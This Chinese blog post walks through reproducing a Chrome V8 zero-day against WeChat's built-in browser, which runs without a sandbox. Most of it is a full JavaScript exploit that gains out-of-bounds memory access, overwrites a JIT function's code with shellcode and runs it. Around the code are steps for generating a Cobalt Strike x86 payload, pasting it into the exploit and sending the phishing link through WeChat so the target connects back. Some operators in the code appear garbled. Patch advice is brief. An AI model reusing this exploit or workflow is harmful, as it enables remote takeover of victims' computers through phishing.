chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)
chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)3.CS生成C格式Paylaod监听器创建成功注意:Poc使用要与微信版本对应,否则无法上线。Poc如下:ENABLE_LOG = true; IN_WORKER = true; // run calc and hang in a loop var shellcode = [ ];//shellcode替换成自己的 注意是X86的 function print(data) { } var not_optimised_out = 0; var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out = 1; } not_optimised_out = 1; not_optimised_out |= 0xff; no
近日Chrome爆出0day在安全圈内掀起了一大波浪潮,恰好又正处攻防演练期间,这让红蓝双方之间的对抗凸显的异常精彩。随后各大安全论坛、公众号也随即更新了此次漏洞的利用过程,笔者秉承着学习的心态,复现了此次Chrome-0day引发的微信钓鱼事件。其中如有纰漏,请各位大佬留言指正。
0x01 漏洞利用条件1.本次漏洞是由Chrome浏览器引起的远程代码执行,由于Chrome本身是存在沙箱的,想要利用此次漏洞,条件还是比较苛刻的。如果想要复现需提前关闭Chrome中沙箱(-no-sandbox)。
CMD下运行以下代码,关闭沙箱:
C:\Users\XXX\AppData\Local\Google\Chrome\Application\chrome.exe -no-sandbox
2.由于微信中默认使用Chrome内核,且沙箱处于关闭状态,如下图所示。所以攻击者可以使用微信发送精心伪造的钓鱼链接,诱使用户点击从而触发隐藏在链接中的shellcode。
0x02 漏洞利用过程1.利用网上流传的Poc并替换shellcode代码实现CS远程上线。
注意:Poc使用要与微信版本对应,否则无法上线。
Poc如下:
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [ ];//shellcode替换成自己的 注意是X86的
function print(data)
{
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out = 1;
}
not_optimised_out = 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; i) {
target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; i) {
new String();
}
}
function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
} 'g'
// now the runtime JSRegExp constructor is called corrupting the
// JSArray.
);
// this allocation will now directly follow the FixedArray allocation
// made for `this.data` which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}
// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset true ...this.prevent_opt);
}
this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset addr true ...this.prevent_opt);
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0 true ...this.prevent_opt);
}
this.write32 = function (addr value) {
this.setPtr(addr);
this.page_view.setUint32(0 value true ...this.prevent_opt);
}
this.write8 = function (addr value) {
this.setPtr(addr);
this.page_view.setUint8(0 value ...this.prevent_opt);
}
this.setBytes = function (addr content) {
for (var i = 0; i < content.length; i ) {
this.write8(addr i content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr kCodeInsOffset);
print('[*] code_addr at 0x' code_addr.toString(16));
oob.setBytes(code_addr shellcode);
target_function(0);
}
try{
print("start running");
trigger();
}catch(e){
print(e);
}
2.CS创建监听器
监听器创建成功
3.CS生成C格式Paylaod
这里不勾选X64,因为微信PC端处理器为X86。
将生成的C文件,替换到上述shellcode数组中,如下图所示:
4.本地搭建测试环境,微信点击链接CS上线
0x03 修复建议1.Chrome官方已经对本次漏洞进行修补,请升级到最新的Chrome版本。
2.微信同时也发布了3.2.1.143最新版本,请大家及时下载更新。
0x04 总结归根结底本次漏洞利用了Chrome浏览器远程代码执行,理论上来讲,所有使用Chrome内核,且关闭沙箱的软件都有可能被攻击者利用。笔者在复现的过程中,看到了某实验室写到的一篇文章利用appscan扫描器(使用Chrome内核进行爬取)CS上线,有兴趣的同学可以自行搜索学习。
本次漏洞复现较为简单,笔者本着学习的心态复现了此漏洞,希望与大家共同探讨学习,如复现过程中遇到任何问题,可以在评论区下方留言,笔者会和大家一起探讨解决。朋友们我们下次再见!